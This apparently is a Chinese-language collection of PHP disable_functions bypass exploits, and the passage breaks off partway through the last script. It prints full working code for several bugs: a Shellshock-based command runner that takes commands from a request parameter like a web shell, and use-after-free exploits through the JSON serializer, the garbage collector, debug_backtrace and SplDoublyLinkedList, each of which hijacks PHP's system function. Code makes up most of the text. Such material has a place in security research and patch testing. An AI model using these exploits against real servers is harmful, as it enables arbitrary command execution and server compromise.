目标OS如果存在Bash破壳(CVE-2014-6271)漏洞,就可以利用mailerror_log等可以创建子进程的函数调用bash,触发ShellShock漏洞绕过disable_function

exp:

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<?php
function runcmd($c){
  $d = dirname($_SERVER["SCRIPT_FILENAME"]);
  if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){
    if(strstr(readlink("/bin/sh"), "bash")!=FALSE){
      $tmp=tempnam(sys_get_temp_dir(), 'as');
      putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
      if (function_exists('error_log')) {
        error_log("a", 1);
      }else{
        mail("a@127.0.0.1", "", "", "-bv");
      }
    }else{
      print("Not vuln (not bash)\n");
    }
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    if($output!=""){
      print($output);
    }else{
      print("No output, or not vuln.");
    }
  }else{
    print("不满足使用条件");
  }
}

// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

或者PHP < 5.6.2 - ‘Shellshock’ Safe Mode / disable_functions Bypass / Command Injection - PHP webapps Exploit

JSON UAF Bypass

This exploit utilises a use after free vulnerability in json serializer in order to bypass disable_functions and execute a system command. It should be fairly reliable and work on all server apis, although that is not guaranteed.

PHP :: Bug #77843 :: Use after free with json serializer

影响范围:

  • 7.1 - all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)

exp: php-json-bypass/exploit.php · mm0r1/exploits

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<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
    public static $leak;
}

class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);

https://gitee.com/leonsec/images/raw/master/image-20210129102149878.png

GC Bypass

This exploit uses a three year old bug in PHP garbage collector to bypass disable_functions and execute a system command. It was tested on various php7.0-7.3 builds for Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably. Feel free to submit an issue if you experience any problems.

PHP :: Bug #72530 :: Use After Free in GC with Certain Destructors

影响范围:

  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date

exp: php7-gc-bypass/exploit.php · mm0r1/exploits

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<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

https://gitee.com/leonsec/images/raw/master/image-20210129102848502.png

Backtrace Bypass

This exploit uses a two year old bug in debug_backtrace() function. We can trick it into returning a reference to a variable that has been destroyed, causing a use-after-free vulnerability. The PoC was tested on various php builds for Debian/Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably.

PHP :: Bug #76047 :: Use-after-free when accessing already destructed backtrace arguments

影响范围:

  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 < 7.3.15 (released 20 Feb 2020)
  • 7.4 < 7.4.3 (released 20 Feb 2020)

exp: php7-backtrace-bypass/exploit.php · mm0r1/exploits

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<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

https://gitee.com/leonsec/images/raw/master/image-20210129103108022.png

SplDoublyLinkedList UAF

SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.

Said iteration is done by keeping a pointer to the “current” DLL element.

You can then call next() or prev() to make the DLL point to another element.

When you delete an element of the DLL, PHP will remove the element from the DLL, then destroy the zval, and finally clear the current ptr if it points to the element. Therefore, when the zval is destroyed, current is still pointing to the associated element, even if it was removed from the list.

This allows for an easy UAF, because you can call $dll->next() or $dll->prev() in the zval’s destructor.

PHP :: Bug #80111 :: PHP SplDoublyLinkedList::offsetUnset UAF Sandbox Escape

影响范围:

  • PHP 5.3.0 to PHP 8.0 (alpha) are vulnerable, that is every PHP version since the creation of the class.

BUG 发生在 PHP 内置类 SplDoublyLinkedList,一个双链表类,有一个指针 traverse_pointer 用于指向当前位置,在调用 unset 删除链表元素的时候,处理顺序上有点问题:

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if (element != NULL) {
    /* connect the neightbors */
    ...

    /* take care of head/tail */
    ...

    /* finally, delete the element */
    llist->count--;

    if(llist->dtor) {
        llist->dtor(element);
    }

    if (intern->traverse_pointer == element) {
        SPL_LLIST_DELREF(element);
        intern->traverse_pointer = NULL;
    }
    ...
}

删除元素的操作被放在了置空 traverse_pointer 指针前,所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF

exp: SSD Advisory – PHP SplDoublyLinkedList UAF Sandbox Escape - SSD Secure Disclosure

注:此exp只支持PHP7+

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<?php
#
# PHP SplDoublyLinkedList::offsetUnset UAF
# Charles Fol (@cfreal_)
# 2020-08-07
# PHP is vulnerable from 5.3 to 8.0 alpha
# This exploit only targets PHP7+.
#
# SplDoublyLinkedList is a doubly-linked list (DLL) which supports iteration.
# Said iteration is done by keeping a pointer to the "current" DLL element.
# You can then call next() or prev() to make the DLL point to another element.
# When you delete an element of the DLL, PHP will remove the element from the
# DLL, then destroy the zval, and finally clear the current ptr if it points
# to the element. Therefore, when the zval is destroyed, current is still
# pointing to the associated element, even if it was removed from the list.
# This allows for an easy UAF, because you can call $dll->next() or
# $dll->prev() in the zval's destructor.
#  
#

error_reporting(E_ALL);

define('NB_DANGLING', 200);
define('SIZE_ELEM_STR', 40 - 24 - 1);
define('STR_MARKER', 0xcf5ea1);

function i2s(&$s, $p, $i, $x=8)
{
    for($j=0;$j<$x;$j++)
    {
        $s[$p+$j] = chr($i & 0xff);
        $i >>= 8;
    }
}


function s2i(&$s, $p, $x=8)
{
    $i = 0;

    for($j=$x-1;$j>=0;$j--)
    {
        $i <<= 8;
        $i |= ord($s[$p+$j]);
    }

    return $i;
}


class UAFTrigger
{
    function __destruct()
    {
        global $dlls, $strs, $rw_dll, $fake_dll_element, $leaked_str_offsets;

        #"print('UAF __destruct: ' . "\n");
        $dlls[NB_DANGLING]->offsetUnset(0);
        
        # At this point every $dll->current points to the same freed chunk. We allocate
        # that chunk with a string, and fill the zval part
        $fake_dll_element = str_shuffle(str_repeat('A', SIZE_ELEM_STR));
        i2s($fake_dll_element, 0x00, 0x12345678); # ptr
        i2s($fake_dll_element, 0x08, 0x00000004, 7); # type + other stuff
        
        # Each of these dlls current->next pointers point to the same location,
        # the string we allocated. When calling next(), our fake element becomes
        # the current value, and as such its rc is incremented. Since rc is at
        # the same place as zend_string.len, the length of the string gets bigger,
        # allowing to R/W any part of the following memory
        for($i = 0; $i <= NB_DANGLING; $i++)
            $dlls[$i]->next();

        if(strlen($fake_dll_element) <= SIZE_ELEM_STR)
            die('Exploit failed: fake_dll_element did not increase in size');
        
        $leaked_str_offsets = [];
        $leaked_str_zval = [];

        # In the memory after our fake element, that we can now read and write,
        # there are lots of zend_string chunks that we allocated. We keep three,
        # and we keep track of their offsets.
        for($offset = SIZE_ELEM_STR + 1; $offset <= strlen($fake_dll_element) - 40; $offset += 40)
        {
            # If we find a string marker, pull it from the string list
            if(s2i($fake_dll_element, $offset + 0x18) == STR_MARKER)
            {
                $leaked_str_offsets[] = $offset;
                $leaked_str_zval[] = $strs[s2i($fake_dll_element, $offset + 0x20)];
                if(count($leaked_str_zval) == 3)
                    break;
            }
        }

        if(count($leaked_str_zval) != 3)
            die('Exploit failed: unable to leak three zend_strings');
        
        # free the strings, except the three we need
        $strs = null;

        # Leak adress of first chunk
        unset($leaked_str_zval[0]);
        unset($leaked_str_zval[1]);
        unset($leaked_str_zval[2]);
        $first_chunk_addr = s2i($fake_dll_element, $leaked_str_offsets[1]);

        # At this point we have 3 freed chunks of size 40, which we can read/write,
        # and we know their address.
        print('Address of first RW chunk: 0x' . dechex($first_chunk_addr) . "\n");

        # In the third one, we will allocate a DLL element which points to a zend_array
        $rw_dll->push([3]);
        $array_addr = s2i($fake_dll_element, $leaked_str_offsets[2] + 0x18);
        # Change the zval type from zend_object to zend_string
        i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);
        if(gettype($rw_dll[0]) != 'string')
            die('Exploit failed: Unable to change zend_array to zend_string');
        
        # We can now read anything: if we want to read 0x11223300, we make zend_string*
        # point to 0x11223300-0x10, and read its size using strlen()

        # Read zend_array->pDestructor
        $zval_ptr_dtor_addr = read($array_addr + 0x30);
    
        print('Leaked zval_ptr_dtor address: 0x' . dechex($zval_ptr_dtor_addr) . "\n");

        # Use it to find zif_system
        $system_addr = get_system_address($zval_ptr_dtor_addr);
        print('Got PHP_FUNCTION(system): 0x' . dechex($system_addr) . "\n");
        
        # In the second freed block, we create a closure and copy the zend_closure struct
        # to a string
        $rw_dll->push(function ($x) {});
        $closure_addr = s2i($fake_dll_element, $leaked_str_offsets[1] + 0x18);
        $data = str_shuffle(str_repeat('A', 0x200));

        for($i = 0; $i < 0x138; $i += 8)
        {
            i2s($data, $i, read($closure_addr + $i));
        }
        
        # Change internal func type and pointer to make the closure execute system instead
        i2s($data, 0x38, 1, 4);
        i2s($data, 0x68, $system_addr);
        
        # Push our string, which contains a fake zend_closure, in the last freed chunk that
        # we control, and make the second zval point to it.
        $rw_dll->push($data);
        $fake_zend_closure = s2i($fake_dll_element, $leaked_str_offsets[0] + 0x18) + 24;
        i2s($fake_dll_element, $leaked_str_offsets[1] + 0x18, $fake_zend_closure);
        print('Replaced zend_closure by the fake one: 0x' . dechex($fake_zend_closure) . "\n");
        
        # Calling it now
        
        print('Running system("id");' . "\n");
        $rw_dll[1]('id');

        print_r('DONE'."\n");
    }
}

class DanglingTrigger
{
    function __construct($i)
    {
        $this->i = $i;
    }

    function __destruct()
    {
        global $dlls;
        #D print('__destruct: ' . $this->i . "\n");
        $dlls[$this->i]->offsetUnset(0);
        $dlls[$this->i+1]->push(123);
        $dlls[$this->i+1]->offsetUnset(0);
    }
}

class SystemExecutor extends ArrayObject
{
    function offsetGet($x)
    {
        parent::offsetGet($x);
    }
}

/**
 * Reads an arbitrary address by changing a zval to point to the address minus 0x10,
 * and setting its type to zend_string, so that zend_string->len points to the value
 * we want to read.
 */
function read($addr, $s=8)
{
    global $fake_dll_element, $leaked_str_offsets, $rw_dll;

    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x18, $addr - 0x10);
    i2s($fake_dll_element, $leaked_str_offsets[2] + 0x20, 0x00000006);

    $value = strlen($rw_dll[0]);

    if($s != 8)
        $value &= (1 << ($s << 3)) - 1;

    return $value;
}

function get_binary_base($binary_leak)
{
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++)
    {
        $addr = $start - 0x1000 * $i;
        $leak = read($addr, 7);
        # ELF header
        if($leak == 0x10102464c457f)
            return $addr;
    }
    # We'll crash before this but it's clearer this way
    die('Exploit failed: Unable to find ELF header');
}

function parse_elf($base)
{
    $e_type = read($base + 0x10, 2);

    $e_phoff = read($base + 0x20);
    $e_phentsize = read($base + 0x36, 2);
    $e_phnum = read($base + 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = read($header + 0x00, 4);
        $p_flags = read($header + 0x04, 4);
        $p_vaddr = read($header + 0x10);
        $p_memsz = read($header + 0x28);

        if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
            # handle pie
            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        die('Exploit failed: Unable to parse ELF');

    return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = read($data_addr + $i * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'constant' constant check
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = read($data_addr + ($i + 4) * 8);
        if($leak - $base > 0 && $leak < $data_addr) {
            $deref = read($leak);
            # 'bin2hex' constant check
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

function get_system($basic_funcs)
{
    $addr = $basic_funcs;
    do {
        $f_entry = read($addr);
        $f_name = read($f_entry, 6);

        if($f_name == 0x6d6574737973) { # system
            return read($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

function get_system_address($binary_leak)
{
    $base = get_binary_base($binary_leak);
    print('ELF base: 0x' .dechex($base) . "\n");
    $elf = parse_elf($base);
    $basic_funcs = get_basic_funcs($base, $elf);
    print('Basic functions: 0x' .dechex($basic_funcs) . "\n");
    $zif_system = get_system($basic_funcs);
    return $zif_system;
}

$dlls = [];
$strs = [];
$rw_dll = new SplDoublyLinkedList();


# Create a chain of dangling triggers, which will all in turn
# free current->next, push an element to the next list, and free current
# This will make sure that every current->next points the same memory block,
# which we will UAF.
for($i = 0; $i < NB_DANGLING; $i++)
{
    $dlls[$i] = new SplDoublyLinkedList();
